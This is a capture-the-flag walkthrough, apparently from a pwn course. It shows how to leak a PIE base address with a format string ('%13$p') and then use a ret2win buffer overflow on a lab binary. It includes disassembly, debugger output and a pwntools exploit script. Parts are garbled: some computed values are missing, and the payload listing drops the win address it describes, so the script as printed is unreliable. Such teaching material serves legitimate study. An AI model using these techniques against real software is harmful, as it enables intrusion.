Let's take the challenge one step further. This time, rather than providing a hint for you to use, you need to leak something for yourself. There are near-limitless options for what you can leak. The important task is understanding what you're leaking to properly compute the base address.
We will leak this address the same way we leak other data (i.e., a canary): format strings.
We need to find our buffer overflow before we worry about security protections. Without a buffer overflow, we can't get very far.
We find the vulnerable input call to be the second, which looks like this:
10x0000000000001294 <+208>: lea rax,[rbp-0x30]
20x0000000000001298 <+212>: mov edx,0x140
30x000000000000129dThis input indicates we are allowed 0x140 bytes into a 0x20 byte space.
rbp-0xa.10x0000000000001226 <+98>: lea rax,[rbp-0xa]
2This yields a buffer overflow. Since the return pointer is 0x38 bytes away, we're allowed enough bytes to reach it. Therefore, we can control the instruction! We'll note our padding of 0x38 bytes and move on.
We now need to find an address off the stack and leak it. We notice that the first buffer is subject to a format string from these lines:
10x0000000000001226 <+98>: lea rax,[rbp-0xa]
20x000000000000122a <+102>: mov We see our buffer (rbp-0xa) is passed as the first parameter to printf, which is a format string. Therefore, our exploit will first use a format string to leak some address, use that to find the base address, then perform a ret2win using the computed address of win.
We now must find an address on the stack. The most common address we'll use is the return address. This is because it's easy to spot; we can easily compute its location and easily compute its offset from the base address.
From Leaking a Canary, we know that the stack starts at parameter 6. From here, we know that rsp = rbp - 0x30. We know that the return pointer is at rbp + 0x8, meaning the distance from rsp to the return pointer is . Computing the number of -byte stack frames, we get . Therefore, our format string offset will be .
Let's try this format string to see if we get something that looks like an instruction:
b *(login+225)runvmmap challStart End Offset Perm Path0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- ./chall0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x ./chall0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- ./chall0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- ./chall0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- ./challFrom this output, we can see that the leaked value is inside the executable section of the binary—the text segment! This confirms that we received an instruction.
Now… which instruction did we get? We can preview that instruction:
x/i main+74 0x555555555306 <main+74>: mov eax,0x0This shows the instruction is at main+74.
vmmap to show the base address and then do some simple subtraction. vmmap shows the base address as 0x555555554000, meaning this instruction's offset is .There is more than one way to write this exploit. Below, I will explain the "pwntools" solution using the ELF class. However, doing it manually is also an effective method.
Let's start writing an exploit. In this case, we'll take advantage of the ELF class that lets us store the base address. For a PIE binary, the base address is assumed to be 0, which yields offsets for each location from the base address. However, once we store the base address, it automatically adjusts each reference value with its absolute address.
It's okay if this doesn't make 100% sense yet. Let's start writing our exploit to see what happens. First, we import Pwntools.
from pwn import *Then, we need to instantiate the ELF class. We'll also store context.binary as good practice. We'll also establish the process.
1elf = context.binary = ELF('./chall')
2p = process() # process name ('./chall') is implied from context.binaryThen, we need to send the format string and receive the value. The format of the value is HELLO THERE, <leak>..
1p.sendline(b'%13$p')
2p.recvuntil(b'HELLO THERE, ')
3leak = p.recvuntil(b'.', drop=TrueNow, we must compute the base address. We can get the address of main using elf.sym, which returns a dictionary of symbols and their addresses. Remember that the address leaked is main+74.
elf.address = leak - (elf.sym.main + 74)Now, the elf.sym table is updated with the absolute addresses. Now, we can perform our buffer overflow with our computed address of win:
1payload = b'A' * 0x38
2payload += p64(elf.sym['_init'] + 22) # ret gadget for MOVAPS alignment
3Then, we send off the payload!
1p.sendline(payload)
2p.interactive()Running this, we get a successful leak and a flag printed!
python3 exploit.py[+] Starting local process './chall': pid 106087 WELCOME BACK!ENTER PASSWORD NOW:LOGGING IN NOW. PLEASE BE PATIENT.Access Granted!IFC{PL4C3H0LD3R_FL4G_H3R3!}The compiler will always ensure our stack is aligned, so because this instruction reads into the rbp-0x10 block (since that block runs from rbp-0x10 to rbp-0x8), it will reserve that space.
Therefore, the second read is given the space from rbp-0x30 to rbp-0x10, which is 0x20 bytes. This does not change the number of bytes needed to overflow.
8